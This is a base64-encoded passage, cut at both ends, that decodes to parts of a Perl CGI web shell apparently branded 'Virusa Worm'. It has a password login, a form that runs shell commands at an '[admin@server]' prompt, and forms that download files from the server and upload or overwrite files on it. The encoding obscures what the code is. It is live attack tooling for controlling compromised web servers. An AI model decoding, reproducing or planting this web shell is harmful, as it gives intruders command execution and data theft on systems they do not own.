AgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOw0KICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIHsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgfQ0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0Ow0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsNCiAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOw0KICB9IGVsc2Ugew0KCXRoaXMuY3VycmVudFRleHQgPSAiIjsNCgl0aGlzLmN1cnJlbnRDaGFyID0gMDsNCiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogICAgICAgIHRoaXMuZmluaXNoZWRDYWxsYmFjaygpOw0KICB9DQp9DQo8L3NjcmlwdD4NCjwvcHJlPg0KDQo8YnI+DQoNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCm5ldyBUeXBpbmdUZXh0KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoYWNrIiksIDMwLCBmdW5jdGlvbihpKXsgdmFyIGFyID0gbmV3IEFycmF5KCJfIiwiIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlIGFyLmxlbmd0aF07IH0pOw0KVHlwaW5nVGV4dC5ydW5BbGwoKTsNCg0KPC9zY3JpcHQ+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgZW5jb2RlIGh0bWwgc3BlY2lhbCBjaGFycw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVybEVuY29kZSgkKXsNCglteSAkc3RyID0gc2hpZnQ7DQoJJHN0ciA9fiBzLyhbXkEtWmEtejAtOV0pL3NwcmludGYoIiUlJTAyWCIsIG9yZCgkMSkpL3NlZzsNCglyZXR1cm4gJHN0cjsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7DQoJbXkgJHRleHQgPSBzaGlmdDsNCgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsNCgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7DQoJJHRleHQgPX4gcy8nLycvZzsNCgkkdGV4dCA9fiBzLzwvJmx0Oy9nOw0KCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7DQoJcmV0dXJuICR0ZXh0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQWRkTGlua0RpcigkKQ0Kew0KCW15ICRhYz1zaGlmdDsNCglteSBAZGlyPSgpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7DQoJfWVsc2UNCgl7DQoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7DQoJfQ0KCW15ICRwYXRoPSIiOw0KCW15ICRyZXN1bHQ9IiI7DQoJZm9yZWFjaCAoQGRpcikNCgl7DQoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOw0KCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuZW5jb2RlX2Jhc2U2NCgkcGF0aCkuIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UNCnsNCglwcmludCA8PEVORDsNCg0KUGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj48aW1nIHNyYz0naHR0cDovL2k5NTIucGhvdG9idWNrZXQuY29tL2FsYnVtcy9hZTEvdmlydXNhd29ybS9hZy9hZ25lX3pwczVlNDJmY2Y1LnBuZyc+PGJyPg0KPGI+RW50ZXIgeW91ciBQYXNzd29yZCA8aW1nIHNyYz0naHR0cDovL2wueWltZy5jb20vdXMueWltZy5jb20vaS9tZXNnL2Vtb3RpY29uczcvMzkuZ2lmJyAvPjwvYj48YnI+DQo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8YnI+PGZvbnQgY29sb3I9cmVkPm8tLS1bICA8Zm9udCBjb2xvcj0jRkYwMDAwPkVkaXQgYnkgVmlydXNhIFdvcm0gPC9mb250PiAgXS0tLW88L2ZvbnQ+PC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQoJZXhpdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcjsNCgkJcHJpbnQgJkxpc3REaXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRkaXI9ICI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImNvbW1hbmQiKS4iPC9zcGFuPiI7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iIG9uU3VibWl0PSJFbmNvZGVyKCdjJykiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+DQokUHJvbXB0DQo8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiIGlkPSJjIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0NCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyANCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIGlkPSJ1cCIgdmFsdWU9Im92ZXJ3cml0ZSI+DQo8bGFiZWwgZm9yPSJ1cCI+T3ZlcndyaXRlIGlmIGl0IEV4aXN0czwvbGFiZWw+PGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8NCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcw0KIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJCXJldHVybiA8PEVORDsNCjwvdGV4dGFyZWE+DQo8YnI+PGZvbnQgY29sb3I9eWVsbG93Pg0KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4NCjxicj48Zm9udCBzaXplPSc2JyBjb2xvcj1yZWQ+S2lsbGVkIGl0ITwvZm9udD4NCkVORA0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoDQojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlDQp7DQoJbG9jYWwoJEZpbGVVcmwpID0gQF87DQoJbXkgJHJlc3VsdD0iIjsNCglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMNCgl7DQoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXINCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOw0KCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7DQoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJHJlc3VsdCAuPSA8PEVORDsNClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPg0KDQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+DQpFTkQNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgl9DQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdA0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7DQoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQ0KIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcg0Kew0KCW15ICRyZXN1bHQgPSAiIjsNCglsb2NhbCgkU2VuZEZpbGUpID0gQF87DQoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZw0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQliaW5tb2RlKFNFTkRGSUxFKTsNCgkJCWJpbm1vZGUoU1RET1VUKTsNCgkJfQ0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsNCgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15cXF0qKSQhOw0KCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7DQoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOw0KCQlwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsNCgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7DQoJCWNsb3NlKFNFTkRGSUxFKTsNCgkJZXhpdCgxKTsNCgl9DQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsNCgkJJHJlc3VsdCAuPSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQ0KIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsDQojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmVnaW5Eb3dubG9hZA0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFd